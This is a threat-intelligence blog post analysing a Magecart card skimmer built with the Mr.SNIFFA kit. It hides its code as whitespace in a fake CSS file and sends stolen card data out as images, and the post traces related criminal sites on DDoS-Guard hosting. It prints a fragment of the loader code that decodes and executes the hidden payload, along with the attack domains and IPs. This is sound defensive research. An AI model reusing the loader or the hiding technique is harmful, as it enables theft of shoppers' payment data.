Threat Intelligence Team

January 8, 2023

This blog post was authored by Jérôme Segura

Online criminals rarely reinvent the wheel, especially when they don't have to. From ransomware to password stealers, there are a number of toolkits available for purchase on various underground markets that allow just about anyone to get a jumpstart.

During one of our crawls, we spotted a skimmer using the 'Mr.SNIFFA' framework that targets e-commerce sites and their customers. In recent years, this skimmer has adopted various obfuscation techniques as well as steganography to load its malicious code and exfiltrate stolen credit card data. While Magecart threat actors usually pick domain names after third-party libraries, or Google Analytics, in this case they went with a crypto-inspired theme which we had not seen before.

Digging further into the skimmer's infrastructure on Russian-based hosting provider DDoS-Guard, we came across a digital crime haven for cryptocurrency scams, Bitcoin mixers, malware distribution sites and much more. This blog post will cover the technical details of the skimmer and its crime-filled ecosystem.

Overview

When looking for malicious code on the web, we tend to inspect HTML code, JavaScript dependencies as well as redirects. What makes some attacks interesting is how they will purposely avoid leaving obvious signs, try to only load one time or maybe dynamically in some unsuspecting format.

In this case, we saw an e-commerce website that was injected with a link to an external website named after American Entrepreneur and BTC supporter Michael J. Saylor (saylor2xbtc[.]com). We should note that the sites we found injected with this skimmer had nothing to do with cryptocurrencies themselves. However, interest in targeting this industry has been shown before and likely such attacks are still happening.

Figure 1: Skimmer attack chain

As the skimmer code is dynamically unpacked in the DOM it will harvest card payment details and exfiltrate those in a similar fashion. In the next section, we will show exactly what happens during this process of data collection and exfiltration.

Server IP	Server Type	Method	Re	Host	URL	Body	Comments
	Apache	GET	200		1	112,597	Hacked site
37.1.192.220	nginx	GET	302	saylor2xbtc.com	/vqK4Pq	0	Redirect
185.178.208.174	ddos-guard	GET	200	elon2xmusk.com	/jquery.min.js	7,043	Loader
185.178.208.181	ddos-guard	POST	200	2xdepp.com	/stylesheet.css	236,698	Skimmer
185.178.208.181	ddos-guard	POST	200	2xdepp.com	/mediag	f 3,288	Exfiltration

Technical details

Mr.SNIFFA skimmer

Back in the spring of 2020, an <u>advert</u> for a new skimmer was posted to a criminal forum. The product, called mr.SNIFFA, claims to have code that cannot be seen using browser tools and works across different browsers. More importantly, the author offers free bug fixes and 24/7

This is the ad for a new service that generates web skimmer (magecart) scripts being advertised online.

The script/service is named mr.SNIFFA. Sold for \$3K.

1:20 AM · May 24, 2020

Figure 3: Tweet about new product being advertised

It seems some of those promises were true as a clever feature that hides the skimmer was <u>implemented</u> later on:

...

I've been noticing some changes with the mr.Sniffa skimming/#magecart kit. It can now utilize whitespace encoded binary to mask code loading and data exfiltration. And the data exfiltration uses a dynamically generated image that is POSTed to further hide its activity.

Figure 4: Update to mr.SNIFFA's code

Loader

Going back to this latest skimming attack, the first interesting piece is the JavaScript loaded from elon2xmusk[.]com. You have to scroll down halfway through it and after a number of tab entries, you can finally see some lightly obfuscated code.

...

Figure 5: Loader with leading and tailing white space

This loader is quite important with what happens next because it is meant to load a special CSS file hosted at (2xdepp[.]com/stylesheet.css). In effect, all these different parts are connected and needed for the skimmer to get properly loaded.

Core

The beginning of the file contains standard CSS content, in this case code to render fonts. But we can also notice a lot of white space beneath and a very long side scroll bar.

lormal text file length : 236,739 lines : 88,560

Figure 6: Skimmer hiding inside CSS file

Turning on special characters in the text editor program reveals over 88k lines containing spaces, tabs and new line feeds. That encoded whitespace data is converted into binary code via the original loader (elon2xmusk[.]com/jquery.min.js).

This particular technique was previously <u>documented</u> by Denis Sinegubko and Eric Brandel in a <u>thread</u> about some new features in the Mr.Sniffa toolkit.

Eric Brandel @AffableKraut · Apr 7, 2021

All told, there is roughly 220KB of whitespace encoded data in this "CSS" file. Note also that the skimmer loader does a POST here to get the CSS, which isn't normal.

...

After it gets the payload, it splits off the whitespace from the CSS and then converts it to binary:

27	BilbA = JOSkc.respo	nseText;							
	BilbA = BilbA.split	("}");							
	BilbA = BilbA[BilbA	.length - 1].split(· ");						
	KIORc = "";								
31	for (111 in BiLbA)	for (111 in BiLbA)							
32	{								
	111 = "";								
	for (l1I in BiLbA	for (l1I in BiLbA[l11]) {							
	<pre>l11 += BiLbA[l1</pre>	1][11I] "\t" ? "	1" : "0";						
	}								
	KIORc += String.f	romCharCode(parseIn	t(l11, 2).toString(10))						
	}								
	BzSs = new Function	(KIORc.substr(0, KI	<pre>DRc.length - 1));</pre>						
40	BzSs()								
0.1	¢٦	e	^						

Figure 7: White space encoding characteristic of Mr.SNIFFA skimmer

When decoding this piece of the code we end up with the <u>same skimmer</u> produced by Eric Brandel.

Figure 8: Decoded skimmer identical to previously reported Mr.SNIFFA

Exfiltration

At the checkout page, we see the payment form injected by the skimmer. Note the grammar mistake at the bottom *"please enter your card details and will charge you later"*. This is a small detail, but those who pay attention to details will view it as a sign of a fraudulent form.

Stolen credit card data will be exfiltrated back to the attackers using the same special character encoding and sent as an image file.

Infrastructure overview

DDoS-Guard hosting

The 3 domains involved in this skimmer campaign were or are hosted on DDoS-Guard infrastructure, a Russian company that provides DDoS protection, CDN and hosting among some of its services. It has <u>hosted controversial websites</u> and according to a <u>blog post by</u> <u>Group-IB</u> documenting a leak and source code dump, "DDoS-Guard also provides computing capacities and obstructs the identification of website owners of hundreds of shady resources that are engaged in illicit goods sale, gambling, and copyright infringements".

Figure 10: VirusTotal graph showing connections to DDos-Guard

We previously <u>wrote</u> about Magecart groups relying on bulletproof infrastructure such as the hoster in Ukraine's Luhansk region. The obvious advantage is that takedowns are practically impossible and criminals can grow their infrastructure undisturbed.

Immediate neighbors

Often times criminals will buy and sell across different services. With stolen credit cards, the path to monetization can be via resale or using money mules and eventually funneling funds back home. It can be difficult and time consuming to try to map out exactly where a threat actor's playground begins and ends. In this instance we decided to follow the crypto-naming theme and explore other places of interest.

On the same IP address (185.178.208[.]174) as elon2xmusk[.]com (skimmer loader), there is a fraudulent store (3houzz[.]com) that is copying the legitimate Houzz retailer. This type of sites is generally promoted via spam or malicious redirects.

Figure 11: Comparison of fake and legitimate Houzz websites

On the same IP address (185.178.208[.]181) as 2xdepp[.]com (skimmer hidden in CSS code), we can find orvx[.]pw, a website selling CPanel, RDP and Shells:

Figure 12: Marketplace for remote access and shells

There is also bestmixer[.]mx, a service to mix cryptocurrencies. Criminals, especially ransomware actors, love to use mixers to make money harder to trace back to them.

Figure 13: Bitcoin mixer service

On the same subnet and at 185.178.208[.]190 is blackbiz[.]top, there is a forum for criminals to advertise various malware services, including ransomware:

В Проверено - Alice in The Land	d∘ × +

Alice_Malware	We welcome you to our project " Alice in The Land of Malware " in our project, the main thing is honesty, if yo 1. Do not want to overpay for pastes and receive answers for several days without solving the question / problem 2. Do you want to find software that meets your requirements, that will last a long time and work only for you! 3. Do you want to find an honest project that will not promise you millions by purchasing software. Support on a about yourself if you wish).
Status:OfflineRegistration:2 Oct 2022Messages:26Reactions:0	Listen, friend, you got to the right place, then you should pay attention to our project and working with us you we so we are ready to give feedback to everyone. View attachment 5995 Ransomware - A type of malicious software designed to extort, blocking access to a computer system or prevent then demands a ransom from the victim to restore the original state. The output from this is very, very good, we also provide literature and support
	 Functionality: * Native * Fast encryption at the top level * Each new build with a unique key * Work with Asian/Arabic PCs * Ability to set your own message message in the builder and select settings If If you have any suggestions or ideas, then write to us and we will listen to you.
	OUR ADVANTAGES AMONG OTHER PROJECTS 1. Responsive support, ready to help on any issue related to the project. 2. Many different manuals for different tastes, you will definitely find something new for yourself. Manuals will be not garbage. I will immediately answer the question that you might have: Yes, some manuals are taken from the because we select information and rewrite and update it ourselves.

Figure 14: Crimeware forum

Additional criminal services

To look deeper into this rather vast network, we leveraged the services provided by <u>SilentPush</u> and used their free <u>community app</u> to run a number of queries. The domains part of the skimmer attack all have '2x' in their name and appear related to cryptocurrencies:

saylor2xbtc[.]com elon2xmusk[.]com 2xdepp[.]com

The first query we tried was a "Domain Search" to look for any domain with '2x' in their name that's using DDoS-Guard infrastructure.

- domain_regex=^[a-z-]{0,}2x[a-z-]{0,}.[a-z]{1,}\$
- asn_starts_with=DDOS-GUARD

• last_seen_min=2022-12-31

Figure 15: SilentPush interface with domain query

Cryptocurrency giveaways

These fake sites claim to be official events from Tesla, Elon Musk, MicroStrategy, or Michael J. Saylor and are tricking people with false hopes of earning thousands of BTC. These crypto giveaway scams have grown five-fold in H1 2022, according to a September 2022 <u>report</u> by Group-IB.

Malware distribution

A number of domains mimicking AnyDesk, MSI afterburner, Team Viewer, or OBS that download malware instead. These phishing pages have been appearing in recent reports about malvertising abusing Google ads like the one reported by <u>Guardio Labs</u> (leading to Vidar and other infostealers) as well as <u>SilentPush</u> (leading to Ursnif).

Domains under this section are dropping a similar Vidar version along with Aurora in other cases. Domains mentioned by Guardio Labs report (traidIngvieew[.]site, msi-afterbarner[.]com) point to the infrastructure under our investigation (185.149.120[.]9).

Figure 17: Fake AnyDesk website that downloads malware

Credit cards (FULLZ)

This is a web portal named after investigative journalist Brian Krebs offering stolen credit cards for sale.

This domain is synchronized with other previously known briansclub domains and related to the threat actor "Brian Krebs" who advertised it on the altenan site in May 2021. The card data appears to be identical with other domains and there are unique BTC addresses on each deposit. (Thanks to the real Brian Krebs and Gemini Advisory for providing this additional piece of information).

Figure 19: Dump of stolen credit cards

PhaaS platform Robin Banks

Robin Banks is a phishing-as-a-service platform that was first observed in March 2022 specializing in selling phishing kits. In a July 2022 <u>report</u>, IronNet saw the motivation for criminals to use the kit as more than phishing for typical credentials but also of interest to Initial Access Brokers. After it was booted off Cloudflare, the Robin Banks infrastructure <u>relocated to DDos-Guard</u> as robinbanks[.]su. We now see the domain beta4us[.]click associated with ASN47674 (NETSOLUTIONS).

Conclusion

In this blog post, we identified a Magecart skimmer using the mr.SNIFFA toolkit and infrastructure from DDoS-Guard. The domain names used to serve the skimmer referenced public figures or names well-known in the cryptocurrency world. This allowed us to follow the trail and discover a number of other malicious domains, some of which may be connected to the original threat actor.

Where one criminal service ends another one begins but often times they are linked. Looking beyond snippets of code and seeing the bigger picture helps to better understand the larger ecosystem as well as to see potential trends.

Malwarebytes customers were already protected against the first layer of this skimmer and we've added detection for the rest of the infrastructure. To learn more about you can better protect your organization from the latest threats, set up a 15-minute call with our experts to <u>tailor a custom plan</u>.

Acknowledgements

We would like to thank the team at SilentPush for their contribution and help while investigating this skimmer and related infrastructure. Feel free to check out their <u>community</u> <u>app</u> which we used in this research.
